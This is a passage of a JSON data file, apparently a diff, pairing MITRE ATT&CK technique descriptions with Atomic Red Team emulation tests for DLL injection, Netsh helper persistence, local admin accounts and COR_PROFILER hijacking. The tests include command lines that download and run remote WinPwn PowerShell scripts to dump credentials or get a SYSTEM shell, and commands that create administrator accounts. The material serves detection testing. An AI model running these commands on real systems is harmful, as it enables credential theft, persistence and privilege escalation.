[at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1053.002" - }, - "atomic_tests": [ - { - "name": "At.exe Scheduled task", - "auto_generated_guid": "4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8", - "description": "Executes cmd.exe\nNote: deprecated in Windows 8+\n\nUpon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "at 13:20 /interactive cmd\n" - } - } - ] - }, - "T1055.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", - "type": "attack-pattern", - "created": "2020-01-14T01:26:08.145Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.001", - "url": "https://attack.mitre.org/techniques/T1055/001" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/hunting-memory", - "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", - "source_name": "Elastic HuntingNMemory June 2017" - } - ], - "modified": "2021-10-18T12:20:00.382Z", - "name": "Process Injection: Dynamic-link Library Injection", - "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Access", - "Process: OS API Execution", - "Module: Module Load", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.001" - }, - "atomic_tests": [ - { - "name": "Process Injection via mavinject.exe", - "auto_generated_guid": "74496461-11a1-4982-b439-4d87a550d254", - "description": "Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_id": { - "description": "PID of input_arguments", - "type": "integer", - "default": "(Start-Process notepad -PassThru).id" - }, - "dll_payload": { - "description": "DLL to Inject", - "type": "path", - "default": "PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Utility to inject must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "$mypid = #{process_id}\nmavinject $mypid /INJECTRUNNING #{dll_payload}\nStop-Process -processname notepad\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique", - "auto_generated_guid": "8b56f787-73d9-4f1d-87e8-d07e89cbc7f5", - "description": "Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')", - "name": "powershell" - } - } - ] - }, - "T1546.007": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Demaske, Adaptforward" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", - "created": "2020-01-24T14:26:51.207Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.007", - "url": "https://attack.mitre.org/techniques/T1546/007" - }, - { - "source_name": "Demaske Netsh Persistence", - "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", - "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017." - }, - { - "source_name": "TechNet Netsh", - "url": "https://technet.microsoft.com/library/bb490939.aspx", - "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017." - }, - { - "source_name": "Github Netsh Helper CS Beacon", - "url": "https://github.com/outflankbv/NetshHelperBeacon", - "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", - "modified": "2022-04-20T17:09:17.363Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Event Triggered Execution: Netsh Helper DLL", - "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Module: Module Load", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1546.007" - }, - "atomic_tests": [ - { - "name": "Netsh Helper DLL Registration", - "auto_generated_guid": "3244697d-5a3a-4dfc-941c-550f69f91a4d", - "description": "You can register a \"helper dll\" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.\nThe NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.\n\n[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)\n[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "helper_file": { - "description": "Path to DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1546.007\\bin\\NetshHelper.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Helper DLL must exist on disk at specified location (#{helper_file})\n", - "prereq_command": "if (Test-Path \"#{helper_file}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{helper_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll\" -OutFile \"#{helper_file}\"\n" - } - ], - "executor": { - "command": "netsh.exe add helper #{helper_file}\ntaskkill /im notepad.exe /t /f > NUL 2>&1\n", - "cleanup_command": "netsh.exe delete helper #{helper_file}\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1574.004": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", - "created": "2020-03-16T15:23:30.896Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.004", - "url": "https://attack.mitre.org/techniques/T1574/004" - }, - { - "source_name": "MalwareUnicorn macOS Dylib Injection MachO", - "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5", - "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021." - }, - { - "source_name": "Apple Developer Doco Archive Run-Path", - "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html", - "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021." - }, - { - "source_name": "Wardle Dylib Hijacking OSX 2015", - "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf", - "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021." - }, - { - "source_name": "Writing Bad Malware for OSX", - "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017." - }, - { - "source_name": "Wardle Dylib Hijack Vulnerable Apps", - "url": "https://objective-see.com/blog/blog_0x46.html", - "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021." - }, - { - "source_name": "wardle artofmalware volume1", - "url": "https://taomm.org/vol1/pdfs.html", - "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021." - }, - { - "source_name": "Github EmpireProject HijackScanner", - "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py", - "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021." - }, - { - "source_name": "Github EmpireProject CreateHijacker Dylib", - "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py", - "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/471.html", - "source_name": "capec", - "external_id": "CAPEC-471" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", - "modified": "2022-05-05T04:08:30.203Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Dylib Hijacking", - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1078.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", - "type": "attack-pattern", - "created": "2020-03-13T20:26:46.695Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.003", - "url": "https://attack.mitre.org/techniques/T1078/003" - } - ], - "modified": "2021-10-18T17:45:48.323Z", - "name": "Valid Accounts: Local Accounts", - "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1078.003" - }, - "atomic_tests": [ - { - "name": "Create local account with admin privileges", - "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15", - "description": "After execution the new account will be active and added to the Administrators group", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "password": { - "description": "Password for art-test user", - "type": "string", - "default": "-4RTisCool!-321" - } - }, - "executor": { - "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add", - "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "WinPwn - Loot local Credentials - powerhell kittie", - "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912", - "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Loot local Credentials - Safetykatz", - "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4", - "description": "Loot local Credentials - Safetykatz technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1574.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jesse Brown, Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", - "type": "attack-pattern", - "created": "2020-06-24T22:30:55.843Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.012", - "url": "https://attack.mitre.org/techniques/T1574/012" - }, - { - "source_name": "Microsoft Profiling Mar 2017", - "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview", - "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020." - }, - { - "source_name": "Microsoft COR_PROFILER Feb 2013", - "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)", - "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020." - }, - { - "source_name": "RedCanary Mockingbird May 2020", - "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020." - }, - { - "source_name": "Red Canary COR_PROFILER May 2020", - "url": "https://redcanary.com/blog/cor_profiler-for-persistence/", - "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020." - }, - { - "source_name": "Almond COR_PROFILER Apr 2019", - "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html", - "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020." - }, - { - "source_name": "GitHub OmerYa Invisi-Shell", - "url": "https://github.com/OmerYa/Invisi-Shell", - "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020." - }, - { - "source_name": "subTee .NET Profilers May 2017", - "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html", - "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020." - } - ], - "modified": "2021-08-30T21:35:12.049Z", - "name": "Hijack Execution Flow: COR_PROFILER", - "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: Process Creation", - "Module: Module Load" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1574.012" - }, - "atomic_tests": [ - { - "name": "User scope COR_PROFILER", - "auto_generated_guid": "9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a", - "description": "Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unmanaged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "Write-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value #{file_name} -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n", - "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n", - "name": "powershell" - } - }, - { - "name": "System Scope COR_PROFILER", - "auto_generated_guid": "f373b482-48c8-4ce4-85ed-d40c8b3f7310", - "description": "Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_name": { - "description": "unmanaged profiler DLL", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll" - }, - "clsid_guid": { - "description": "custom clsid guid", - "type": "string", - "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{file_name} must be present\n", - "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n" - } - ], - "executor": { - "command": "Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 